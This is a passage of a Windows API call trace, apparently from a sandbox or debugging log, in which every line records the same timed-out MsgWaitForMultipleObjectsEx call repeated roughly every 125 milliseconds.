[0198.885] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0199.004] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0199.213] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0199.332] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0199.456] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0199.581] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0199.706] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0199.831] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0199.956] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0200.080] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0200.206] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0200.330] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0200.455] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0200.580] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0200.704] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0200.830] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0200.954] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0201.079] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0201.204] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0201.328] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0201.453] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0201.578] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0201.703] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0201.828] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0201.952] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0202.077] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0202.202] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0202.327] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0202.452] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0202.576] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0202.701] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0202.826] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0202.951] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0203.076] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0203.200] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0203.325] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0203.450] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0203.575] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0203.700] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0203.825] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0203.949] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0204.074] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0204.199] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0204.324] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0204.448] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0204.574] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0204.698] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0204.823] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0204.948] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0205.073] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0205.197] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0205.322] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0205.447] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0205.572] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0205.696] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0205.821] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0205.946] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0206.077] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0206.196] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0206.321] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0206.446] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0206.574] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0206.699] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0206.820] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0206.950] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0207.070] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0207.194] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0207.323] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0207.446] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0207.574] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0207.694] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0207.819] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0207.947] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0208.068] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0208.197] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0208.318] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0208.443] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0208.573] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0208.692] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0208.827] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0208.942] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0209.067] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0209.197] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0209.316] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0209.446] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0209.566] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0209.691] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0209.834] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0209.957] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0210.112] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0210.242] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0210.368] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0210.486] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0210.610] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0210.735] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0210.860] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0210.985] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0211.127] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0211.250] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0211.375] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0211.500] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0211.624] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0211.749] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0211.874] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0211.999] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0212.124] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0212.249] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0212.373] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0212.498] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0212.623] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0212.748] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0212.872] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0212.997] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0213.122] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0213.247] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0213.372] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0213.497] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0213.621] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0213.746] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0213.871] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0213.996] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0214.121] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0214.245] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0214.370] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0214.495] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0214.620] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0214.744] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0214.869] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0214.996] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0215.119] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0215.244] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0215.368] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0215.493] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0215.618] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0215.743] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0215.868] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0215.992] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0216.117] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0216.242] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0216.367] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0216.493] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0216.617] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0216.741] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0216.866] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0216.991] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0217.116] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0217.241] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0217.366] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0217.501] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0217.616] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0217.740] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0217.871] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0217.990] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0218.120] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0218.246] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0218.364] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0218.495] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0218.614] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0218.745] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0218.864] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0218.988] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0219.121] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0219.238] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0219.372] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0219.489] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0219.612] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0219.742] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0219.862] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0219.993] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0220.112] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0220.237] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0220.367] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0220.486] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0220.616] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0220.736] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0220.861] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0221.004] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0221.125] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0221.259] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0221.376] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
